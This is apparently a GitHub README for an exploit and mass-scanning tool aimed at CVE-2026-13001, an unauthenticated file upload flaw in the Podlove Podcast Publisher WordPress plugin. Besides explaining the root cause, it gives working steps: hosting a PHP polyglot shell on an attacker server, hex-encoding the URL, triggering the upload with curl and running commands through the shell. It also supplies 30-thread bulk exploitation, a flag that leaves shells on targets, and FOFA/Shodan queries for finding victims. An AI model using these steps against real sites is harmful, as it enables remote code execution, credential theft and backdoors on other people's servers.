shinthink/CVE-2026-13001
GitHub: shinthink/CVE-2026-13001
针对 Podlove Podcast Publisher 插件文件上传校验绕过漏洞(CVSS 9.8)的自动化利用与批量扫描工具。
Stars: 0 | Forks: 2
CVE-2026-13001 — Podlove Podcast Publisher 未授权文件上传 RCE
is_image() 与 extract_file_extension() 不匹配 → PHP Polyglot 上传
## 概述 **CVE-2026-13001** 是 **Podlove Podcast Publisher** WordPress 插件 **≤ 4.5.1** 版本中一个严重级别 (CVSS 9.8) 的**未授权**任意文件上传漏洞。 该漏洞利用了两个以不同方式解析文件扩展名的内部函数之间的不匹配: - **`is_image()`** 使用 `basename()`,它**包含查询字符串** → URL `shell.php?.gif` 显示为 `.gif` ✅(有效图片) - **`extract_file_extension()`** 仅使用 `parse_url()` 的路径 → 返回 `.php` → 文件以 `.php` 扩展名保存 🚨 攻击者上传 **GIF89a PHP polyglot**(有效的 GIF 文件头 + 嵌入的 PHP),这些文件能通过图片验证,但在被访问时将作为 PHP 执行。 ### 受影响版本 | 版本 | 状态 | |---|---| | ≤ 4.5.1 | 存在漏洞 | | 4.5.2+ | 已修复 | ## 漏洞机制 ### 根本原因 ``` // is_image() — uses basename() which includes query string function is_image($url) { $ext = strtolower(pathinfo(basename($url), PATHINFO_EXTENSION)); return in_array($ext, ['jpg','jpeg','png','gif','webp']); } // URL: https://attacker.com/shell.php?.gif // basename() → "shell.php?.gif" → ext = "gif" ✅ BYPASSED ``` ``` // extract_file_extension() — uses parse_url() path only function extract_file_extension($url) { $path = parse_url($url, PHP_URL_PATH); return pathinfo($path, PATHINFO_EXTENSION); } // URL: https://attacker.com/shell.php?.gif // parse_url() → "/shell.php" → ext = "php" 🚨 SAVED AS .php ``` ### 攻击流程 ``` 1. Attacker hosts GIF89a PHP polyglot at attacker.com/shell.php?.gif 2. GET /?podlove_image_cache_url={hex(url)}&podlove_file_name=test 3. is_image() validates .gif extension → PASS 4. Plugin downloads file → saves as test_original.php in cache/ 5. Attacker accesses /wp-content/cache/podlove/{hash}/test_original.php 6. PHP executes → RCE ``` ## 安装说明 ``` git clone https://github.com/shinthink/CVE-2026-13001.git cd CVE-2026-13001 pip install -r requirements.txt ``` ## 使用说明 ``` # 单一目标 python cve_2026_13001.py -t target.com # Mass scan python cve_2026_13001.py -f targets.txt -o shells.txt # 自定义 payload URL python cve_2026_13001.py -t target.com --payload-url https://yourserver/shell.php?.gif # Debug mode,保留 shell python cve_2026_13001.py -t target.com --debug --no-cleanup ``` ### 参数 ``` -t, --target Single target (domain or IP) -f, --file Target list, one per line -o, --output Save RCE URLs to file --payload-url URL hosting the PHP polyglot (default: GitHub raw) --threads Concurrent workers (default: 30) --no-cleanup Leave shells on target --debug Show every HTTP request -v, --verbose Verbose output ``` ## 概念验证 ### 单一目标 ``` $ python cve_2026_13001.py -t podcast-site.com ``` ``` Podlove Podcast Publisher | CVE-2026-13001 | CVSS 9.8 Host : podcast-site.com Podlove : YES v4.5.1 Upload : YES RCE : YES Shell : https://podcast-site.com/wp-content/cache/podlove/a1/b2.../think_xxx_original.php?t=TOKEN Output : uid=33(www-data) gid=33(www-data) Time : 4.2s ``` ### 批量扫描 ``` Targets: 500 | Threads: 30 Payload URL: https://raw.githubusercontent.com/shinthink/payloads/main/shell.gif [RCE] podcast-vuln-01.com https://podcast-vuln-01.com/wp-content/cache/podlove/... [150/500] 30% | Det:42 RCE:8 ``` ### 手动利用 **步骤 1 — 托管 polyglot shell** ``` // shell.php — save and host on your server GIF89a ``` **步骤 2 — 对带有绕过参数的 URL 进行十六进制编码** ``` # URL: https://attacker.com/shell.php?.gif echo -n "https://attacker.com/shell.php?.gif" | xxd -p | tr -d '\n' ``` **步骤 3 — 触发缓存下载** ``` curl 'https://target.com/?podlove_image_cache_url=68747470733a2f2f...&podlove_file_name=shell&podlove_width=100&podlove_height=100&podlove_crop=0' ``` **步骤 4 — 访问 shell** ``` # Path: wp-content/cache/podlove/{h[:2]}/{h[2:]}/{name}_original.php curl 'https://target.com/wp-content/cache/podlove/a1/b2c3.../shell_original.php?c=id' ``` ## FOFA / Shodan ``` FOFA: body="podlove-podcasting-plugin-for-wordpress" Shodan: http.html:"podlove" ``` ## 影响 成功利用将导致**以 web 服务器用户身份执行远程代码**: - 提取 `wp-config.php` → 数据库凭据 - 访问所有 WordPress 内容、用户和插件数据 - 部署持久化后门 - 渗透至内部网络 ## 免责声明 ## 参考资源 | 资源 | 链接 | |---|---| | Wordfence 安全公告 | [wordfence.com](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/podlove-podcasting-plugin-for-wordpress/podlove-podcast-publisher-451-unauthenticated-arbitrary-file-upload-via-podlove-image-cache-url-parameter) | | Podlove 安全版本发布 | [podlove.org](https://podlove.org/blog/security-release-cve-2026-13001/) | | NVD 条目 | [CVE-2026-13001](https://nvd.nist.gov/vuln/detail/CVE-2026-13001) | | Raimu0x19 提供的 PoC | [GitHub](https://github.com/Raimu0x19/CVE-2026-13001) | | 研究员 | Talal Nasraddeen |与 Podlove 无关。
标签:CISA项目, OpenVAS, PHP, Web安全, WordPress插件, 威胁模拟, 安全攻防, 无服务器架构, 编程工具, 蓝队分析, 远程代码执行, 逆向工具